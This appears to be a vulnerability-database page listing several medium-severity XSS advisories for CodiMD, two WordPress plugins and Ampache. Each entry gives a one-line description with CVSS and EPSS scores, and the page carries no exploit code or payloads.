CodiMD 1.3.1, when Safari is used, allows XSS via an IFRAME element with allow-top-navigation in the sandbox attribute, in conjunction with a data: URL. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Apple Codimd
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

The import-users-from-csv-with-meta plugin before 1.14.0.3 for WordPress has XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress Import Users From Csv With Meta
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The import-users-from-csv-with-meta plugin before 1.14.1.3 for WordPress has XSS via imported data. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress Import Users From Csv With Meta
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The wp-support-plus-responsive-ticket-system plugin before 9.1.2 for WordPress has HTML injection. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress Wp Support Plus Responsive Ticket System
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

An issue was discovered in Ampache through 3.9.1. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Ampache
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
39320

Related CWEs

MITRE ATT&CK

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